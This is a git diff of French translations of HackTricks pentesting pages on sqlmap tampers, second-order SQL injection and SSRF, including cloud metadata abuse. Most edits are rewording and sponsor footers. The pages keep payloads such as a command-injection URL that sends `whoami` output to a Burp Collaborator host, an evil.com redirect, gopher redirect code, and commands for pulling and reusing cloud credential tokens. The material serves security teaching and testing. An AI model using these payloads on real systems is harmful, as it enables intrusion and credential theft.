space2plus.py | Remplace le caractère espace (' ') par un plus ('+') | -| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | -| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et | +| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire parmi un ensemble valide de caractères alternatifs | +| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et | | unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT | | unmagicquotes.py | Remplace le caractère de guillemet (') par un combo multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) | -| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' | +| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' | | varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' | -| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | -| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné | -| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' | +| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné | +| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné | +| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
-**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur permettre de creuser plus profondément, de lancer des shells et de s'amuser. {% embed url="https://pentest-tools.com/" %} @@ -212,12 +212,12 @@ Rappelez-vous que **vous pouvez créer votre propre altérer en python** et c'es Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks: +Autres moyens de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md index 097c79957..92276a29e 100644 --- a/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md +++ b/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md @@ -1,25 +1,25 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-**SQLMap peut exploiter des Second Order SQLis.**\ +**SQLMap peut exploiter les SQLi de second ordre.**\ Vous devez fournir : -* La **requête** où le **payload d'injection sql** va être enregistré -* La **requête** où le **payload** sera **exécuté** +* La **requête** où la **charge utile de l'injection SQL** va être enregistrée +* La **requête** où la **charge utile** sera **exécutée** -La requête où le payload d'injection SQL est enregistré est **indiquée comme pour toute autre injection dans sqlmap**. La requête **où sqlmap peut lire la sortie/exécution** de l'injection peut être indiquée avec `--second-url` ou avec `--second-req` si vous devez indiquer une requête complète à partir d'un fichier. +La requête où la charge utile de l'injection SQL est enregistrée est **indiquée comme pour toute autre injection dans sqlmap**. La requête **où sqlmap peut lire la sortie/l'exécution** de l'injection peut être indiquée avec `--second-url` ou avec `--second-req` si vous devez indiquer une requête complète à partir d'un fichier. **Exemple simple de second ordre :** ```bash @@ -29,9 +29,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php" #Get the SQL payload execution sending a custom request from a file sqlmap -r login.txt -p username --second-req details.txt ``` -Dans plusieurs cas, **cela ne suffira pas** car vous devrez **effectuer d'autres actions** en plus d'envoyer le payload et d'accéder à une page différente. +Dans plusieurs cas **cela ne sera pas suffisant** car vous devrez **effectuer d'autres actions** en plus d'envoyer la charge utile et d'accéder à une page différente. -Lorsque cela est nécessaire, vous pouvez utiliser un **tamper sqlmap**. Par exemple, le script suivant enregistrera un nouvel utilisateur **en utilisant le payload sqlmap comme email** et se déconnectera. +Lorsque cela est nécessaire, vous pouvez utiliser un **sqlmap tamper**. Par exemple, le script suivant enregistrera un nouvel utilisateur **en utilisant la charge utile sqlmap comme email** et se déconnectera. ```python #!/usr/bin/env python @@ -59,16 +59,16 @@ headers = kwargs.get("headers", {}) login_account(payload) return payload ``` -Un **tamper SQLMap est toujours exécuté avant de commencer une tentative d'injection avec un payload** **et doit retourner un payload**. Dans ce cas, nous ne nous préoccupons pas du payload mais de l'envoi de certaines requêtes, donc le payload n'est pas modifié. +Un **tamper SQLMap est toujours exécuté avant de commencer un essai d'injection avec une charge utile** **et il doit retourner une charge utile**. Dans ce cas, nous ne nous soucions pas de la charge utile mais nous nous soucions d'envoyer des requêtes, donc la charge utile n'est pas modifiée. -Donc, si pour une raison quelconque nous avons besoin d'un flux plus complexe pour exploiter l'injection SQL de second ordre comme : +Ainsi, si pour une raison quelconque nous avons besoin d'un flux plus complexe pour exploiter l'injection SQL de second ordre comme suit : -* Créer un compte avec le payload SQLi dans le champ "email" +* Créer un compte avec la charge utile SQLi dans le champ "email" * Se déconnecter * Se connecter avec ce compte (login.txt) * Envoyer une requête pour exécuter l'injection SQL (second.txt) -**Cette ligne sqlmap sera utile :** +**Cette ligne sqlmap vous aidera :** ```bash sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a ########## @@ -85,14 +85,14 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md index eebb5086e..944655cc1 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -4,7 +4,7 @@ \ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui : +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -17,7 +17,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -66,13 +66,13 @@ En savoir plus ici : [https://portswigger.net/web-security/ssrf](https://portswi - Identifié comme un protocole de transfert de fichiers sécurisé via shell sécurisé, un exemple est fourni montrant comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant : `url=sftp://generic.com:11111/` - **TFTP://** -- Le protocole Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` +- Le protocole de transfert de fichiers trivial, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' : `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - **LDAP://** - Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local : `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` - **SMTP** -- Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris des étapes pour révéler les noms de domaine internes et des actions d'investigation supplémentaires basées sur ces informations. +- Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris les étapes pour révéler les noms de domaine internes et les actions d'investigation supplémentaires basées sur ces informations. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 @@ -81,7 +81,7 @@ From https://twitter.com/har1sec/status/1182255952055164929 4. connect ``` - **Curl URL globbing - Contournement de WAF** -- Si le SSRF est exécuté par **curl**, curl dispose d'une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple de **traversal de chemin via le protocole `file`**: +- Si le SSRF est exécuté par **curl**, curl dispose d'une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAF. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour une **traversal de chemin via le protocole `file`**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` @@ -126,7 +126,7 @@ https://example.com/?q=http://evil.com/redirect.php. {% endcode %} -## SSRF via en-tête Referrer & Autres +## SSRF via l'en-tête Referrer & Autres Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter des URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "**Collaborator Everywhere**" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles. @@ -151,7 +151,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ## SSRF avec Injection de Commande -Il pourrait être intéressant d'essayer une charge utile comme: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` +Il pourrait être intéressant d'essayer une charge utile comme : `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## Rendu de PDF @@ -167,9 +167,9 @@ Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exp [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} -## SSRF Rediriger vers Gopher +## SSRF Redirection vers Gopher -Pour certaines exploitations, vous pourriez avoir besoin d'**envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection: +Pour certaines exploitations, vous pourriez avoir besoin de **envoyer une réponse de redirection** (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler @@ -209,7 +209,7 @@ Accédez dès aujourd'hui : ## Contournement CORS/SOP avec DNS Rebidding -Si vous avez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation : +Si vous rencontrez des **problèmes** pour **exfiltrer du contenu depuis une IP locale** en raison de **CORS/SOP**, **DNS Rebidding** peut être utilisé pour contourner cette limitation : {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) @@ -236,7 +236,7 @@ Attaque : 3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de Session ou du Ticket de Session**. 4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire en sorte que l'utilisateur/robot accède au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine. 5. Dans la requête DNS, une adresse IP **privée** est donnée **maintenant** (127.0.0.1 par exemple) -6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'ID de **Session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même. +6. L'utilisateur/robot tentera de **rétablir la connexion TLS** et pour ce faire, il enverra l'**ID de Session/Ticket ID** (où la **charge utile** de l'attaquant était contenue). Félicitations, vous avez réussi à demander à l'utilisateur/robot de s'attaquer lui-même. Notez que lors de cette attaque, si vous souhaitez attaquer localhost:11211 (_memcache_), vous devez faire en sorte que la victime établisse la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\ Pour **effectuer cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ @@ -250,7 +250,7 @@ La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le cas En **vérifiant le temps** des réponses du serveur, il pourrait être **possible de savoir si une ressource existe ou non** (il se peut que l'accès à une ressource existante prenne plus de temps que l'accès à une ressource qui n'existe pas) -## Exploitation SSRF Cloud +## Exploitation SSRF dans le Cloud Si vous trouvez une vulnérabilité SSRF sur une machine s'exécutant dans un environnement cloud, vous pourriez obtenir des informations intéressantes sur l'environnement cloud et même des identifiants : @@ -293,7 +293,7 @@ _remote-method-guesser_ est un scanner de vulnérabilité _Java RMI_ qui prend e ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) -SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables aux requêtes forgées côté serveur (SSRF). +SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour faire transiter le trafic HTTP client à travers des serveurs HTTP vulnérables aux requêtes forgées côté serveur (SSRF). ### Pour s'entraîner @@ -314,7 +314,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 687084ca5..dee7d46df 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -1,4 +1,4 @@ -# Cloud SSRF +# SSRF dans le cloud
@@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -33,7 +33,7 @@ Il existe **2 versions** de la métadonnée. La **première** permet d'**accéde {% hint style="danger" %} Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2. -De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder. +De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela est fait pour empêcher les proxies inverses mal configurés d'y accéder. {% endhint %} Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites : @@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` {% hint style="danger" %} -Pour **utiliser le jeton du compte de service exfiltré**, vous pouvez simplement faire : +Pour **utiliser le jeton de compte de service exfiltré**, vous pouvez simplement faire : ```bash # Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN= @@ -299,7 +299,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo ## Digital Ocean {% hint style="warning" %} -Il n'y a pas de choses comme les rôles AWS ou le compte de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées +Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées {% endhint %} Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) @@ -373,12 +373,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` -{% endtab %} -{% endtabs %} - ### Azure App Service -À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées. +À partir de l'**env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées. La plupart du temps, vous voulez un jeton pour l'une de ces ressources : @@ -457,7 +454,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource ## IBM Cloud {% hint style="warning" %} -Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud. +Notez que par défaut, les métadonnées ne sont pas activées dans IBM, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud. {% endhint %} {% code overflow="wrap" %} @@ -526,7 +523,7 @@ Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des por ## Docker -Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération des informations sur les conteneurs et les images : +Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération d'informations sur les conteneurs et les images : - Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker : - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - À l'intérieur du conteneur, utilisez curl avec le socket Docker : @@ -541,7 +538,7 @@ Les métadonnées de Rancher peuvent être consultées en utilisant :
-Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -553,8 +550,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index fb1027cd9..37309c64a 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -2,15 +2,15 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille 